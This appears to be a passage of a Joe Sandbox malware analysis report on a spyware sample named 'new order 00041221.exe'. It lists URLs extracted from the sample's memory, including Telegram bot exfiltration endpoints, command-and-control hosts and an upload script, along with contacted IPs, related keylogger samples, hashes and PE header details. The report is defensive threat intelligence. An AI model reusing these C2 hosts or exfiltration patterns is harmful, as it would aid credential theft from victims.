https://duckduckgo.com/chrome_newtab	new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org	new order 00041221.exe, 00000003.00000002.3711414422.0000000002FC7000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://r11.o.lencr.org0#	new order 00041221.exe, 00000003.00000002.3711414422.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3710772677.0000000001337000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002FC7000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.office.com/lB	new order 00041221.exe, 00000003.00000002.3711414422.00000000030A0000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20a	new order 00041221.exe, 00000003.00000002.3711414422.0000000002FC7000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore?hl=en0	new order 00041221.exe, 00000003.00000002.3711414422.0000000003065000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://checkip.dyndns.org	new order 00041221.exe, 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	new order 00041221.exe, 00000003.00000002.3711414422.0000000002FC7000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore?hl=en	new order 00041221.exe, 00000003.00000002.3711414422.0000000003074000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000003065000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.00000000030A5000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://varders.kozow.com:8081	new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://aborters.duckdns.org:8081	new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	12%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?L	new order 00041221.exe, 00000003.00000002.3711414422.00000000030D0000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://r11.i.lencr.org/0Q	new order 00041221.exe, 00000003.00000002.3711414422.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3710772677.0000000001337000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33$	new order 00041221.exe, 00000003.00000002.3711414422.0000000002F9F000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002FC7000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002F5A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/0	new order 00041221.exe, 00000003.00000002.3711414422.0000000003096000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anotherarmy.dns.army:8081	new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	new order 00041221.exe, 00000003.00000002.3711414422.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3716273829.0000000006678000.00000004.00000020.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3710772677.0000000001337000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	new order 00041221.exe, 00000003.00000002.3711414422.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3716273829.0000000006678000.00000004.00000020.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3710772677.0000000001337000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	new order 00041221.exe, 00000003.00000002.3711414422.000000000306F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mail.moonbrosurgical.com	new order 00041221.exe, 00000003.00000002.3711414422.00000000030E0000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	new order 00041221.exe, 00000003.00000002.3711414422.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002F9F000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002FC7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	new order 00041221.exe, 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
203.124.44.4	mail.moonbrosurgical.com	Pakistan	7590	COMSATSCommissiononScienceandTechnologyforPK	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482843
Start date and time:	2024-07-26 09:02:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	new order 00041221.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@6/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 101 Number of non-executed functions: 40
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:03:04	API Interceptor	10453392x Sleep call for process: new order 00041221.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse
	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	LisectAVT_2403002A_127.exe	Get hash	malicious	AgentTesla	Browse
	LisectAVT_2403002A_74.exe	Get hash	malicious	AgentTesla	Browse
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	LisectAVT_2403002B_4.exe	Get hash	malicious	AsyncRAT, Neshta, StormKitty, WorldWind Stealer	Browse
	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
188.114.97.3	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	tny.wtf/4Gs
	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	downloaddining2.com/h9fmdW6/index.php
	Quotation.exe	Get hash	malicious	FormBook	Browse	www.bahisanaliz16.xyz/ty31/?nfuxZr=JoA2dMXfLBqFXt4x+LwNr+felGYfgJXJPNkjuKbt07zo6G2Rowrau43mkNbOTfffhSkjLsiciQ==&v6AxO=1bjHLvGh8ZYHMfZp
	LisectAVT_2403002B_412.exe	Get hash	malicious	FormBook	Browse	www.whatareyoucraving.com/drbb/
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	PO S0042328241130.xls	Get hash	malicious	Remcos	Browse	tny.wtf/vMCQY
	LisectAVT_2403002B_89.exe	Get hash	malicious	CobaltStrike	Browse	cccc.yiuyiu.xyz/config.ini
	irlsever.doc	Get hash	malicious	FormBook	Browse	www.ninunveiled.shop/y2xs/
203.124.44.4	WT01151024637.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
193.122.6.168	New order.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.16578.20925.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.25886.26681.rtf	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Confirmation transfer Copy AGS # 24-00379.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	Orden de Compra..exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Fekdjuvq.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	neworder.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	New order.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	LPO-9180155-PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Confirmation Order.js	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	DSD876543456780000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Deye Union - PO # 23081377.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
checkip.dyndns.com	New order.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	LPO-9180155-PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	Confirmation Order.js	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	DSD876543456780000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Confirmation transfer Note AGS # 22-00379.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
api.telegram.org	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	LisectAVT_2403002A_127.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	LisectAVT_2403002A_74.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	LisectAVT_2403002B_4.exe	Get hash	malicious	AsyncRAT, Neshta, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
mail.moonbrosurgical.com	WT01151024637.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	203.124.44.4

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	New order.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	http://docusign.net	Get hash	malicious	Unknown	Browse	192.29.14.118
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	Lisect_AVT_24003_G1B_67.exe	Get hash	malicious	Unknown	Browse	158.101.28.51
	DSD876543456780000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Confirmation transfer Note AGS # 22-00379.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
TELEGRAMRU	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	fps-booster.exe	Get hash	malicious	StormKitty	Browse	149.154.167.99
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	http://jolly-figolla-4c9551.netlify.app/	Get hash	malicious	Unknown	Browse	149.154.167.99
	LisectAVT_2403002A_127.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	LisectAVT_2403002A_138.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	LisectAVT_2403002A_425.dll	Get hash	malicious	Unknown	Browse	149.154.167.99
CLOUDFLARENETUS	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	172.64.41.3
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	162.159.61.3
	N#U00b0025498563-.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	188.114.97.3
	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	ynhHNexysa.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	http://lotsa.pplanr.com	Get hash	malicious	Unknown	Browse	104.21.44.162
	2FBexXRCHR.rtf	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	QMe7JpPtde.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	http://leostop.com	Get hash	malicious	Unknown	Browse	104.16.141.114
COMSATSCommissiononScienceandTechnologyforPK	WT01151024637.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	203.124.44.4
	PWvekjrPit.elf	Get hash	malicious	Unknown	Browse	203.124.39.102
	SecuriteInfo.com.Win32.TrojanX-gen.29414.12459.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	203.124.44.180
	Payment_Advice-BCS_ECS9522024012916420050_38_952.pdf.eml.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	203.124.44.180
	SecuriteInfo.com.Win32.TrojanX-gen.29443.22875.exe	Get hash	malicious	AgentTesla	Browse	203.124.44.180
	SecuriteInfo.com.Win32.PWSX-gen.4826.5402.exe	Get hash	malicious	AgentTesla	Browse	203.124.44.180
	SecuriteInfo.com.MSIL.GenKryptik.FQQD.tr.9358.12928.exe	Get hash	malicious	AgentTesla	Browse	203.124.44.180
	SecuriteInfo.com.Win32.PWSX-gen.15477.26079.exe	Get hash	malicious	AgentTesla	Browse	203.124.44.180
	SecuriteInfo.com.Win32.RATX-gen.26533.9243.exe	Get hash	malicious	AgentTesla	Browse	203.124.44.180
	SecuriteInfo.com.Win32.PWSX-gen.29302.28377.exe	Get hash	malicious	AgentTesla	Browse	203.124.44.180

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	LisectAVT_2403002B_361.exe	Get hash	malicious	Quasar	Browse	188.114.97.3
	SWIFT.exe	Get hash	malicious	Lokibot	Browse	188.114.97.3
	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	LPO-9180155-PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Confirmation Order.js	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Lisect_AVT_24003_G1B_21.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	ynhHNexysa.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	7Y18r(191).exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	7Y18r(169).exe	Get hash	malicious	CryptOne	Browse	149.154.167.220
	7Y18r(191).exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	xptRc4P9NV.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	fps-booster.exe	Get hash	malicious	StormKitty	Browse	149.154.167.220
	https://metamaskwalletexetention.webflow.io/	Get hash	malicious	Unknown	Browse	149.154.167.220
	http://56edthdxfhbx.pages.dev/	Get hash	malicious	TechSupportScam	Browse	149.154.167.220
	https://banco.estado-app.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	http://contact-office-kawai9lpoe9srsi9lpoe9srsi.narymar.com/	Get hash	malicious	Unknown	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\new order 00041221.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.862704704273304
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	new order 00041221.exe
File size:	740'864 bytes
MD5:	f0c82f395d37fa87114ca7ef075695c8
SHA1:	06df165721ef1544251108d1af927786ea7de870
SHA256:	d954045a10b2292df4e754ad6f1c5350c82ce0a75d2cd9275ada797eca2c413f
SHA512:	145f6655175992ee8d5526aea9e8dc281b243183a7c96fb170f63b620bcc39cbca7caa75672f02968deef34a5bc51bba4b82b89755145f0c5446cc63a5581430
SSDEEP:	12288:pTNYsbvttIEsckdcJvb0wSeIRT8d8OX4SOE0+N3bve6wJC+WrNnv0Y3S3yo3PeJW:tNYsbvttIRZm4SHHNZrNnvGyo3q
TLSH:	6BF4122D56AA9F57CB3D87B9F09220440774E029F283F75E5EC1E4E80E627D4C8976A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z..f.................D...........c... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4b638e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A3037A [Fri Jul 26 02:01:30 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
